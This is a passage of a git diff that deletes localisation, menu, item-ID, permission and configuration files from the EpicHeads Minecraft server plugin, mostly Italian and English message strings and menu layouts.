'&7Testa di %name%' - old-method: '&cOttenere le Textures delle Teste non è possibile nelle versioni Spigot inferiori alla 1.8, verrà utilizzato il metodo vecchio.' - adding: '&7Aggiunto la Testa di &6%name% nel tuo Inventario.' - fetching: '&7Ottengo le Texture, attendi...' - cant-find: - - '&cImpossibile trovare le Texture di &4%name%' - - '&4I Server di Autenticazione potrebbero essere offline, oppure il giocatore richiesto non esiste.' - help: - command: '/EpicHeads get ' - description: 'Ottieni la Testa di un Player' - search: - found: '&7Trovate &6%heads% Teste &7con il Nome &6%query%' - none-found: '&cNon ho trovato Teste che coincidono con &4%query%' - help: - command: '/EpicHeads search ' - description: 'Trova Teste interessanti' - random: - no-heads: '&cNon ci sono Teste nella Cache del Plugin' - cant-find-player: '&cNon riesco a Trovare il Player &4%name%' - retrieve-own: '&7Trovata casualmente la Testa di &6%name%' - retrieve: '&7Hai ricevuto casualmente la Testa di &6%name%' - give: '&7Ho dato la Testa di &6%name% &7a &6%player%' - help: - command: '/EpicHeads random [player]' - description: 'Ottieni o Dai una Testa casuale' - add: - not-supported: '&cOttenere le Textures delle Teste non è possibile nelle versioni Spigot inferiori alla 1.8.' - category-length: - - '&cLa Categoria può contenere un Massimo di 32 Caratteri' - - '&cHai inserito &4%category% &c(%length% Caratteri)' - fetching: '&7Ottengo le Texture, attendi...' - cant-find: - - '&cImpossibile trovare le Texture &4%name%' - - '&4I Server di Autenticazione potrebbero essere offline, oppure il giocatore richiesto non esiste.' - added: '&7Aggiunta la Testa di &6%name%&7 alla Categoria &6%category%' - help: - command: '/EpicHeads add [head name]' - description: 'Aggiungi una Nuova Testa nel Menu' - hand: - not-supported: '&cOttenere le Textures delle Teste non è possibile nelle versioni Spigot inferiori alla 1.8.' - no-texture-property: '&cNessuna Texture adatta trovata, cerco per il nome del giocatore' - no-name-property: '&cNessun nome trovato, la testa non è stata aggiunta.' - not-skull: '&cDevi avere in Mano una Testa per ottenere la sua Texture!' - category-length: - - '&cLa Categoria può contenere un Massimo di 32 Caratteri' - - '&cHai inserito &4%category% &c(%length% Caratteri)' - fetching: '&7Fetching textures, please wait...' - cant-find: - - '&cImpossibile trovare le Texture &4%name%' - - '&4The authentication servers may be down, or the player does not exist.' - adding: '&7Aggiunta la Testa di &6%name%&7 alla Categoria &6%category%' - help: - command: '/EpicHeads hand ' - description: 'Aggiungi una nuova Testa in una Categoria' - give: - cant-find-player: '&cIl player &4%name% &cnon è stato trovato.' - cant-find-head: '&cNon ho trovato una Testa con l''ID &4%id%' - give: '&7Hai dato &6%amount% &7delle Teste di &6%head% &7a &6%name%' - invalid-amount: 'Il numero deve essere più grande di 0 > Hai inserito &4%number%' - help: - command: '/EpicHeads give ' - description: 'Dai una Testa ad un Player' - remove: - help: - command: '/EpicHeads remove' - description: 'Rimuovi una Testa dal Menu' - rename: - help: - command: '/EpicHeads rename ' - description: 'Rinomina una Testa nel Menu' - cost: - help: - command: '/EpicHeads cost ' - description: 'Imposta il Costo di una Testa nel Menu' - category-cost: - help: - command: '/EpicHeads categorycost ' - description: 'Imposta il Costo delle Teste con una Categoria' - open-menu: - help: - command: '/EpicHeads' - description: 'Apri il Menu delle Teste' - id: - help: - command: '/EpicHeads id' - description: 'Ottieni l''ID di una Testa' - hold-skull: '&cPer favore tieni in mano la Testa di un Player' - unknown-head: '&7Impossibile trovare la Testa &7%head%' - found-id: "&7La Testa che stai tenendo in mano con il Nome &6%name% &7possiede l''ID &6%id%" - item-eco: - help: - command: '/EpicHeads itemeco ' - description: 'Edita l''economia delle Teste' - set: - set: '&7L''economia delle Teste è stata impostata sull''item che stai tenendo in Mano' - no-item: '&cDevi tenere in mano un''item per utilizzare questa Funzione!' - help: - command: '/EpicHeads itemeco set' - description: 'Imposta l''item dell''economia' - get: - got: '&7Hai ricevuto &6%amount% &7Heads Tokens' - help: - command: '/EpicHeads itemeco get [amount]' - description: 'Ottien l''economy Item delle Teste' - give: - given: '&6%amount% &7Heads token items sono stati a &6%player%' - got: '&7Hai ricevuto &6%amount% &7Heads token Items' - unknown-player: '&cImpossibile trovare il Player &4%player%' - help: - command: '/EpicHeads itemeco give [amount]' - description: 'Dai l''economy item ad un Player' diff --git a/main/resources/italian/menus.yml b/main/resources/italian/menus.yml deleted file mode 100644 index 9581a66..0000000 --- a/main/resources/italian/menus.yml +++ /dev/null @@ -1,289 +0,0 @@ -search-heads: - title: Cerca Teste - head: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - damage: 3 - head-cost: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&6Costo: &e%cost%' - damage: 3 - head-no-perms: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&cNon hai il Permesso' - - '&cDi usare questa Testa' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu Principale' - forwards: - type: arrow - name: '&7Salta una Pagina' - backwards: - type: arrow - name: '&7Pagina precedente' -get-categories: - title: Categorie - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -get-heads: - title: '%category%' - head: - type: skull_item - name: '&7%name%' - lore: - - '&6Costo: &e%cost%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu principale' - forwards: - type: arrow - name: '&7Pagina successiva' - backwards: - type: arrow - name: '&7Pagina precedente' -get-confirm: - title: Compra Testa - head: - type: skull_item - name: '&aAcquista %name% per $%cost%' - damage: 3 - accept: - type: stained_clay - name: '&aAcquista %name% per $%cost%' - damage: 5 - deny: - type: stained_clay - name: '&cAnnulla Acquisto' - damage: 14 -id-categories: - title: Categorie - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -id-heads: - title: '%category%' - head: - type: skull_item - name: '&7%name%' - lore: - - '&6ID&8: &a%id%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu principale' - forwards: - type: arrow - name: '&7Pagina successiva' - backwards: - type: arrow - name: '&7Pagina precedente' -remove-categories: - title: Categorie - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -remove-heads: - title: '%category%' - head: - type: skull_item - name: '&cRimuovi %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu principale' - forwards: - type: arrow - name: '&7Pagina successiva' - backwards: - type: arrow - name: '&7Pagina precedente' -remove-confirm: - title: Rimuovi testa - head: - type: skull_item - name: '&cRimuovi %name%' - damage: 3 - accept: - type: stained_clay - name: '&cRimuovi %name%' - damage: 5 - deny: - type: stained_clay - name: '&aNon rimuovere %name%' - damage: 14 -rename-categories: - title: Categorie - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -rename-heads: - title: '%category%' - head: - type: skull_item - name: '&aRinomina %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu principale' - forwards: - type: arrow - name: '&7Pagina successiva' - backwards: - type: arrow - name: '&7Pagina precedente' -rename-confirm: - title: Rename Head - head: - type: skull_item - name: '&aRinomina %name% in %newname%' - damage: 3 - accept: - type: stained_clay - name: '&aRinomina %name% in %newname%' - damage: 5 - deny: - type: stained_clay - name: '&aNon rinominare %name%' - damage: 14 -cost-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -cost-heads: - title: '%category%' - head: - type: skull_item - name: '&aImposta il costo di %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cTorna al Menu principale' - forwards: - type: arrow - name: '&7Pagina successiva' - backwards: - type: arrow - name: '&7Pagina precedente' -cost-confirm: - title: Imposta il Costo di una Testa - head: - type: skull_item - name: '&aImposta il Costo di %name%' - lore: - - '&7In &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aImposta il Costo di %name%' - lore: - - '&7in &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aNon impostare il Costo di %name%' - damage: 14 -category-cost-categories: - title: Categories - head: - type: skull_item - name: '&7Imposta il costo di &6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -category-cost-confirm: - title: Imposta il Costo della Categoria - head: - type: skull_item - name: '&aImposta il Costo di %category%' - lore: - - '&7in &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aImposta il Costo di %category%' - lore: - - '&7in &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aNon impostare il Costo di %category%' - damage: 14 -category-cost-remove-categories: - title: Categorie - head: - type: skull_item - name: '&7Ripristina il Costo di &6%category%' - lore: - - '&e%heads% Teste' - damage: 3 -category-cost-remove-confirm: - title: Imposta il Costo della Categoria - head: - type: skull_item - name: '&aRipristina il Costo di %category%' - lore: - - '&7in &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aRipristina il Costo di %category%' - lore: - - '&7in &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aNon impostare il Costo di %category%' - damage: 14 diff --git a/main/resources/italian/menus/browse.yml b/main/resources/italian/menus/browse.yml deleted file mode 100644 index d3bf972..0000000 --- a/main/resources/italian/menus/browse.yml +++ /dev/null @@ -1,68 +0,0 @@ -menu: - categories-title: Categorie - category-title: '%category%' - close: - type: redstone_block - name: '&cChiudi Menu' - back: - type: redstone_block - name: '&cTorna alle Categorie' - search: - type: compass - name: '&7Cerca Teste' - categories: - category: - type: skull_item - name: '&7%category%' - lore: - - '&6%heads% &eTeste' - damage: 3 - unselected-page: - type: paper - name: '&7Pagina %page%' - selected-page: - type: empty_map - name: '&7Pagina %page%' - scrollbar: - left: - type: arrow - name: '&7Sinistra' - right: - type: arrow - name: '&7Destra' - no-left: - type: air - no-right: - type: air - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - heads: - head: - type: skull_item - name: '&7%name%' - lore: - - '&eCosto: &6%cost%' - damage: 3 - unselected-page: - type: paper - name: '&7Pagina %page%' - selected-page: - type: empty_map - name: '&7Pagina %page%' - scrollbar: - left: - type: arrow - name: '&7Sinistro' - right: - type: arrow - name: '&7Destro' - no-left: - type: air - no-right: - type: air - filler: - type: stained_glass_pane - name: ' ' - damage: 15 diff --git a/main/resources/legacy-ids.txt b/main/resources/legacy-ids.txt deleted file mode 100644 index c9247da..0000000 --- a/main/resources/legacy-ids.txt +++ /dev/null @@ -1,463 +0,0 @@ -0:AIR -1:STONE -2:GRASS -3:DIRT -4:COBBLESTONE -5:WOOD -6:SAPLING -7:BEDROCK -8:WATER -9:STATIONARY_WATER -10:LAVA -11:STATIONARY_LAVA -12:SAND -13:GRAVEL -14:GOLD_ORE -15:IRON_ORE -16:COAL_ORE -17:LOG -18:LEAVES -19:SPONGE -20:GLASS -21:LAPIS_ORE -22:LAPIS_BLOCK -23:DISPENSER -24:SANDSTONE -25:NOTE_BLOCK -26:BED_BLOCK -27:POWERED_RAIL -28:DETECTOR_RAIL -29:PISTON_STICKY_BASE -30:WEB -31:LONG_GRASS -32:DEAD_BUSH -33:PISTON_BASE -34:PISTON_EXTENSION -35:WOOL -36:PISTON_MOVING_PIECE -37:YELLOW_FLOWER -38:RED_ROSE -39:BROWN_MUSHROOM -40:RED_MUSHROOM -41:GOLD_BLOCK -42:IRON_BLOCK -43:DOUBLE_STEP -44:STEP -45:BRICK -46:TNT -47:BOOKSHELF -48:MOSSY_COBBLESTONE -49:OBSIDIAN -50:TORCH -51:FIRE -52:MOB_SPAWNER -53:WOOD_STAIRS -54:CHEST -55:REDSTONE_WIRE -56:DIAMOND_ORE -57:DIAMOND_BLOCK -58:WORKBENCH -59:CROPS -60:SOIL -61:FURNACE -62:BURNING_FURNACE -63:SIGN_POST -64:WOODEN_DOOR -65:LADDER -66:RAILS -67:COBBLESTONE_STAIRS -68:WALL_SIGN -69:LEVER -70:STONE_PLATE -71:IRON_DOOR_BLOCK -72:WOOD_PLATE -73:REDSTONE_ORE -74:GLOWING_REDSTONE_ORE -75:REDSTONE_TORCH_OFF -76:REDSTONE_TORCH_ON -77:STONE_BUTTON -78:SNOW -79:ICE -80:SNOW_BLOCK -81:CACTUS -82:CLAY -83:SUGAR_CANE_BLOCK -84:JUKEBOX -85:FENCE -86:PUMPKIN -87:NETHERRACK -88:SOUL_SAND -89:GLOWSTONE -90:PORTAL -91:JACK_O_LANTERN -92:CAKE_BLOCK -93:DIODE_BLOCK_OFF -94:DIODE_BLOCK_ON -95:STAINED_GLASS -96:TRAP_DOOR -97:MONSTER_EGGS -98:SMOOTH_BRICK -99:HUGE_MUSHROOM_1 -100:HUGE_MUSHROOM_2 -101:IRON_FENCE -102:THIN_GLASS -103:MELON_BLOCK -104:PUMPKIN_STEM -105:MELON_STEM -106:VINE -107:FENCE_GATE -108:BRICK_STAIRS -109:SMOOTH_STAIRS -110:MYCEL -111:WATER_LILY -112:NETHER_BRICK -113:NETHER_FENCE -114:NETHER_BRICK_STAIRS -115:NETHER_WARTS -116:ENCHANTMENT_TABLE -117:BREWING_STAND -118:CAULDRON -119:ENDER_PORTAL -120:ENDER_PORTAL_FRAME -121:ENDER_STONE -122:DRAGON_EGG -123:REDSTONE_LAMP_OFF -124:REDSTONE_LAMP_ON -125:WOOD_DOUBLE_STEP -126:WOOD_STEP -127:COCOA -128:SANDSTONE_STAIRS -129:EMERALD_ORE -130:ENDER_CHEST -131:TRIPWIRE_HOOK -132:TRIPWIRE -133:EMERALD_BLOCK -134:SPRUCE_WOOD_STAIRS -135:BIRCH_WOOD_STAIRS -136:JUNGLE_WOOD_STAIRS -137:COMMAND -138:BEACON -139:COBBLE_WALL -140:FLOWER_POT -141:CARROT -142:POTATO -143:WOOD_BUTTON -144:SKULL -145:ANVIL -146:TRAPPED_CHEST -147:GOLD_PLATE -148:IRON_PLATE -149:REDSTONE_COMPARATOR_OFF -150:REDSTONE_COMPARATOR_ON -151:DAYLIGHT_DETECTOR -152:REDSTONE_BLOCK -153:QUARTZ_ORE -154:HOPPER -155:QUARTZ_BLOCK -156:QUARTZ_STAIRS -157:ACTIVATOR_RAIL -158:DROPPER -159:STAINED_CLAY -160:STAINED_GLASS_PANE -161:LEAVES_2 -162:LOG_2 -163:ACACIA_STAIRS -164:DARK_OAK_STAIRS -165:SLIME_BLOCK -166:BARRIER -167:IRON_TRAPDOOR -168:PRISMARINE -169:SEA_LANTERN -170:HAY_BLOCK -171:CARPET -172:HARD_CLAY -173:COAL_BLOCK -174:PACKED_ICE -175:DOUBLE_PLANT -176:STANDING_BANNER -177:WALL_BANNER -178:DAYLIGHT_DETECTOR_INVERTED -179:RED_SANDSTONE -180:RED_SANDSTONE_STAIRS -181:DOUBLE_STONE_SLAB2 -182:STONE_SLAB2 -183:SPRUCE_FENCE_GATE -184:BIRCH_FENCE_GATE -185:JUNGLE_FENCE_GATE -186:DARK_OAK_FENCE_GATE -187:ACACIA_FENCE_GATE -188:SPRUCE_FENCE -189:BIRCH_FENCE -190:JUNGLE_FENCE -191:DARK_OAK_FENCE -192:ACACIA_FENCE -193:SPRUCE_DOOR -194:BIRCH_DOOR -195:JUNGLE_DOOR -196:ACACIA_DOOR -197:DARK_OAK_DOOR -198:END_ROD -199:CHORUS_PLANT -200:CHORUS_FLOWER -201:PURPUR_BLOCK -202:PURPUR_PILLAR -203:PURPUR_STAIRS -204:PURPUR_DOUBLE_SLAB -205:PURPUR_SLAB -206:END_BRICKS -207:BEETROOT_BLOCK -208:GRASS_PATH -2256:GOLD_RECORD -209:END_GATEWAY -2257:GREEN_RECORD -210:COMMAND_REPEATING -2258:RECORD_3 -211:COMMAND_CHAIN -2259:RECORD_4 -212:FROSTED_ICE -2260:RECORD_5 -213:MAGMA -2261:RECORD_6 -214:NETHER_WART_BLOCK -2262:RECORD_7 -215:RED_NETHER_BRICK -2263:RECORD_8 -216:BONE_BLOCK -2264:RECORD_9 -217:STRUCTURE_VOID -2265:RECORD_10 -218:OBSERVER -2266:RECORD_11 -219:WHITE_SHULKER_BOX -2267:RECORD_12 -220:ORANGE_SHULKER_BOX -221:MAGENTA_SHULKER_BOX -222:LIGHT_BLUE_SHULKER_BOX -223:YELLOW_SHULKER_BOX -224:LIME_SHULKER_BOX -225:PINK_SHULKER_BOX -226:GRAY_SHULKER_BOX -227:SILVER_SHULKER_BOX -228:CYAN_SHULKER_BOX -229:PURPLE_SHULKER_BOX -230:BLUE_SHULKER_BOX -231:BROWN_SHULKER_BOX -232:GREEN_SHULKER_BOX -233:RED_SHULKER_BOX -234:BLACK_SHULKER_BOX -235:WHITE_GLAZED_TERRACOTTA -236:ORANGE_GLAZED_TERRACOTTA -237:MAGENTA_GLAZED_TERRACOTTA -238:LIGHT_BLUE_GLAZED_TERRACOTTA -239:YELLOW_GLAZED_TERRACOTTA -240:LIME_GLAZED_TERRACOTTA -241:PINK_GLAZED_TERRACOTTA -242:GRAY_GLAZED_TERRACOTTA -243:SILVER_GLAZED_TERRACOTTA -244:CYAN_GLAZED_TERRACOTTA -245:PURPLE_GLAZED_TERRACOTTA -246:BLUE_GLAZED_TERRACOTTA -247:BROWN_GLAZED_TERRACOTTA -248:GREEN_GLAZED_TERRACOTTA -249:RED_GLAZED_TERRACOTTA -250:BLACK_GLAZED_TERRACOTTA -251:CONCRETE -252:CONCRETE_POWDER -255:STRUCTURE_BLOCK -256:IRON_SPADE -257:IRON_PICKAXE -258:IRON_AXE -259:FLINT_AND_STEEL -260:APPLE -261:BOW -262:ARROW -263:COAL -264:DIAMOND -265:IRON_INGOT -266:GOLD_INGOT -267:IRON_SWORD -268:WOOD_SWORD -269:WOOD_SPADE -270:WOOD_PICKAXE -271:WOOD_AXE -272:STONE_SWORD -273:STONE_SPADE -274:STONE_PICKAXE -275:STONE_AXE -276:DIAMOND_SWORD -277:DIAMOND_SPADE -278:DIAMOND_PICKAXE -279:DIAMOND_AXE -280:STICK -281:BOWL -282:MUSHROOM_SOUP -283:GOLD_SWORD -284:GOLD_SPADE -285:GOLD_PICKAXE -286:GOLD_AXE -287:STRING -288:FEATHER -289:SULPHUR -290:WOOD_HOE -291:STONE_HOE -292:IRON_HOE -293:DIAMOND_HOE -294:GOLD_HOE -295:SEEDS -296:WHEAT -297:BREAD -298:LEATHER_HELMET -299:LEATHER_CHESTPLATE -300:LEATHER_LEGGINGS -301:LEATHER_BOOTS -302:CHAINMAIL_HELMET -303:CHAINMAIL_CHESTPLATE -304:CHAINMAIL_LEGGINGS -305:CHAINMAIL_BOOTS -306:IRON_HELMET -307:IRON_CHESTPLATE -308:IRON_LEGGINGS -309:IRON_BOOTS -310:DIAMOND_HELMET -311:DIAMOND_CHESTPLATE -312:DIAMOND_LEGGINGS -313:DIAMOND_BOOTS -314:GOLD_HELMET -315:GOLD_CHESTPLATE -316:GOLD_LEGGINGS -317:GOLD_BOOTS -318:FLINT -319:PORK -320:GRILLED_PORK -321:PAINTING -322:GOLDEN_APPLE -323:SIGN -324:WOOD_DOOR -325:BUCKET -326:WATER_BUCKET -327:LAVA_BUCKET -328:MINECART -329:SADDLE -330:IRON_DOOR -331:REDSTONE -332:SNOW_BALL -333:BOAT -334:LEATHER -335:MILK_BUCKET -336:CLAY_BRICK -337:CLAY_BALL -338:SUGAR_CANE -339:PAPER -340:BOOK -341:SLIME_BALL -342:STORAGE_MINECART -343:POWERED_MINECART -344:EGG -345:COMPASS -346:FISHING_ROD -347:WATCH -348:GLOWSTONE_DUST -349:RAW_FISH -350:COOKED_FISH -351:INK_SACK -352:BONE -353:SUGAR -354:CAKE -355:BED -356:DIODE -357:COOKIE -358:MAP -359:SHEARS -360:MELON -361:PUMPKIN_SEEDS -362:MELON_SEEDS -363:RAW_BEEF -364:COOKED_BEEF -365:RAW_CHICKEN -366:COOKED_CHICKEN -367:ROTTEN_FLESH -368:ENDER_PEARL -369:BLAZE_ROD -370:GHAST_TEAR -371:GOLD_NUGGET -372:NETHER_STALK -373:POTION -374:GLASS_BOTTLE -375:SPIDER_EYE -376:FERMENTED_SPIDER_EYE -377:BLAZE_POWDER -378:MAGMA_CREAM -379:BREWING_STAND_ITEM -380:CAULDRON_ITEM -381:EYE_OF_ENDER -382:SPECKLED_MELON -383:MONSTER_EGG -384:EXP_BOTTLE -385:FIREBALL -386:BOOK_AND_QUILL -387:WRITTEN_BOOK -388:EMERALD -389:ITEM_FRAME -390:FLOWER_POT_ITEM -391:CARROT_ITEM -392:POTATO_ITEM -393:BAKED_POTATO -394:POISONOUS_POTATO -395:EMPTY_MAP -396:GOLDEN_CARROT -397:SKULL_ITEM -398:CARROT_STICK -399:NETHER_STAR -400:PUMPKIN_PIE -401:FIREWORK -402:FIREWORK_CHARGE -403:ENCHANTED_BOOK -404:REDSTONE_COMPARATOR -405:NETHER_BRICK_ITEM -406:QUARTZ -407:EXPLOSIVE_MINECART -408:HOPPER_MINECART -409:PRISMARINE_SHARD -410:PRISMARINE_CRYSTALS -411:RABBIT -412:COOKED_RABBIT -413:RABBIT_STEW -414:RABBIT_FOOT -415:RABBIT_HIDE -416:ARMOR_STAND -417:IRON_BARDING -418:GOLD_BARDING -419:DIAMOND_BARDING -420:LEASH -421:NAME_TAG -422:COMMAND_MINECART -423:MUTTON -424:COOKED_MUTTON -425:BANNER -426:END_CRYSTAL -427:SPRUCE_DOOR_ITEM -428:BIRCH_DOOR_ITEM -429:JUNGLE_DOOR_ITEM -430:ACACIA_DOOR_ITEM -431:DARK_OAK_DOOR_ITEM -432:CHORUS_FRUIT -433:CHORUS_FRUIT_POPPED -434:BEETROOT -435:BEETROOT_SEEDS -436:BEETROOT_SOUP -437:DRAGONS_BREATH -438:SPLASH_POTION -439:SPECTRAL_ARROW -440:TIPPED_ARROW -441:LINGERING_POTION -442:SHIELD -443:ELYTRA -444:BOAT_SPRUCE -445:BOAT_BIRCH -446:BOAT_JUNGLE -447:BOAT_ACACIA -448:BOAT_DARK_OAK -449:TOTEM -450:SHULKER_SHELL -452:IRON_NUGGET -453:KNOWLEDGE_BOOK diff --git a/main/resources/menus.yml b/main/resources/menus.yml deleted file mode 100644 index 306e904..0000000 --- a/main/resources/menus.yml +++ /dev/null @@ -1,250 +0,0 @@ -search-heads: - title: Head Search - head: - type: player_head - name: '&7%name%' - lore: - - '&8%category%' - head-cost: - type: player_head - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&6Cost: &e%cost%' - head-no-perms: - type: player_head - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&cYou do not have permission' - - '&cto use this head' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Forwards a Page' - backwards: - type: arrow - name: '&7Previous Page' -get-categories: - title: Categories - head: - type: player_head - name: '&6%category%' - lore: - - '&e%heads% heads' -get-heads: - title: '%category%' - head: - type: player_head - name: '&7%name%' - lore: - - '&6Cost: &e%cost%' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -get-confirm: - title: Purchase Head - head: - type: player_head - name: '&aPurchase %name% for $%cost%' - accept: - type: lime_terracotta - name: '&aPurchase %name% for $%cost%' - deny: - type: red_terracotta - name: '&cCancel Purchase' -id-categories: - title: Categories - head: - type: player_head - name: '&6%category%' - lore: - - '&e%heads% heads' -id-heads: - title: '%category%' - head: - type: player_head - name: '&7%name%' - lore: - - '&6Id&8: &a%id%' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -remove-categories: - title: Categories - head: - type: player_head - name: '&6%category%' - lore: - - '&e%heads% heads' -remove-heads: - title: '%category%' - head: - type: player_head - name: '&cRemove %name%' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -remove-confirm: - title: Remove Head - head: - type: player_head - name: '&cRemove %name%' - accept: - type: lime_terracotta - name: '&cRemove %name%' - deny: - type: red_terracotta - name: '&aDont remove %name%' -rename-categories: - title: Categories - head: - type: player_head - name: '&6%category%' - lore: - - '&e%heads% heads' -rename-heads: - title: '%category%' - head: - type: player_head - name: '&aRename %name%' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -rename-confirm: - title: Rename Head - head: - type: player_head - name: '&aRename %name% to %newname%' - accept: - type: lime_terracotta - name: '&aRename %name% to %newname%' - deny: - type: red_terracotta - name: '&aDont rename %name%' -cost-categories: - title: Categories - head: - type: player_head - name: '&6%category%' - lore: - - '&e%heads% heads' -cost-heads: - title: '%category%' - head: - type: player_head - name: '&aSet cost of %name%' - filler: - type: black_stained_glass_pane - name: ' ' - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -cost-confirm: - title: Set cost of Head - head: - type: player_head - name: '&aSet cost of %name%' - lore: - - '&7to &6%newcost%' - accept: - type: lime_terracotta - name: '&aSet cost of %name%' - lore: - - '&7to &6%newcost%' - deny: - type: red_terracotta - name: '&aDont set cost of %name%' -category-cost-categories: - title: Categories - head: - type: player_head - name: '&7Set cost of &6%category%' - lore: - - '&e%heads% heads' -category-cost-confirm: - title: Set cost for Category - head: - type: player_head - name: '&aSet cost of %category%' - lore: - - '&7to &6%newcost%' - accept: - type: lime_terracotta - name: '&aSet cost of %category%' - lore: - - '&7to &6%newcost%' - deny: - type: red_terracotta - name: '&aDont set cost of %category%' -category-cost-remove-categories: - title: Categories - head: - type: player_head - name: '&7Reset cost of &6%category%' - lore: - - '&e%heads% heads' -category-cost-remove-confirm: - title: Set cost for Category - head: - type: player_head - name: '&aReset cost of %category%' - lore: - - '&7to &6%newcost%' - accept: - type: lime_terracotta - name: '&aReset cost of %category%' - lore: - - '&7to &6%newcost%' - deny: - type: red_terracotta - name: '&aDont reset cost of %category%' diff --git a/main/resources/menus/browse.yml b/main/resources/menus/browse.yml deleted file mode 100644 index 393c702..0000000 --- a/main/resources/menus/browse.yml +++ /dev/null @@ -1,64 +0,0 @@ -menu: - categories-title: Categories - category-title: '%category%' - close: - type: redstone_block - name: '&cClose Menu' - back: - type: redstone_block - name: '&cBack to Categories' - search: - type: compass - name: '&7Search Heads' - categories: - category: - type: player_head - name: '&7%category%' - lore: - - '&6%heads% &eheads' - unselected-page: - type: paper - name: '&7Page %page%' - selected-page: - type: map - name: '&7Page %page%' - scrollbar: - left: - type: arrow - name: '&7Left' - right: - type: arrow - name: '&7Right' - no-left: - type: air - no-right: - type: air - filler: - type: black_stained_glass_pane - name: ' ' - heads: - head: - type: player_head - name: '&7%name%' - lore: - - '&eCost: &6%cost%' - unselected-page: - type: paper - name: '&7Page %page%' - selected-page: - type: map - name: '&7Page %page%' - scrollbar: - left: - type: arrow - name: '&7Left' - right: - type: arrow - name: '&7Right' - no-left: - type: air - no-right: - type: air - filler: - type: black_stained_glass_pane - name: ' ' diff --git a/main/resources/plugin.yml b/main/resources/plugin.yml deleted file mode 100644 index 04703ce..0000000 --- a/main/resources/plugin.yml +++ /dev/null @@ -1,66 +0,0 @@ -name: EpicHeads -main: com.songoda.epicheads.EpicHeads -description: Enhance your server with over 17,000 awesome unique heads with amazing features. -author: Songoda -version: 2.3.3 -api-version: 1.13 -softdepend: [Vault, PlayerPoints, BlockStore] -loadbefore: [DeluxeMenus] -commands: - EpicHeads: - description: The default EpicHeads command. - default: true - aliases: heads - ussage: /heads help -permissions: - EpicHeads.reload: - description: 'Reload the config files' - default: op - EpicHeads.menu: - description: 'Open the head menu' - default: op - EpicHeads.get: - description: 'Use the /EpicHeads get command' - default: op - EpicHeads.search: - description: 'Use the /EpicHeads search command' - default: op - EpicHeads.hat: - description: 'Use the /EpicHeads hat command' - default: true - EpicHeads.add: - description: 'Add heads to the cache' - default: op - EpicHeads.hand: - description: 'Add heads from your hand into the cache' - default: op - EpicHeads.random: - description: 'Get a random head from the cache' - default: op - EpicHeads.remove: - description: 'Remove heads from the cache' - default: op - EpicHeads.rename: - description: 'Rename heads in the cache' - default: op - EpicHeads.id: - description: 'Get a heads id' - default: op - EpicHeads.give: - description: 'Give players heads' - default: op - EpicHeads.cost: - description: 'Set heads costs' - default: op - EpicHeads.category-cost: - description: 'Set heads costs by category' - default: op - EpicHeads.bypasscost: - description: 'Bypass paying for heads' - default: op - EpicHeads.category.*: - description: 'Permission for all categories' - default: true - EpicHeads.item-eco: - description: 'Permission to set, get and give the economy item' - default: op \ No newline at end of file diff --git a/main/resources/pre1_13/config.yml b/main/resources/pre1_13/config.yml deleted file mode 100644 index bc05f8f..0000000 --- a/main/resources/pre1_13/config.yml +++ /dev/null @@ -1,45 +0,0 @@ -hide-no-perm-categories: true -free-in-creative: false -check-for-updates: true -economy: - enabled: false - default-head-cost: 0 - vault-eco: - enabled: true - item-eco: - enabled: false - item: - type: skull_item - damage: 3 - name: '&6Player Head Token' - lore: - - '&8Use in /EpicHeads!' - player-points-eco: - enabled: false -breaking-head-names: - enabled: true - attempt-hook-blockstore: true - similar-heads-in-cache: true - default-name: 'Decoration Head' -commands: - heads: - label: 'EpicHeads' - aliases: - - 'heads' - description: 'Get cool heads' - sub-commands: - # open menu is when no arguments are supplied - get: 'get' - search: 'search' - random: 'random' - help: 'help' - add: 'add' - hand: 'hand' - remove: 'remove' 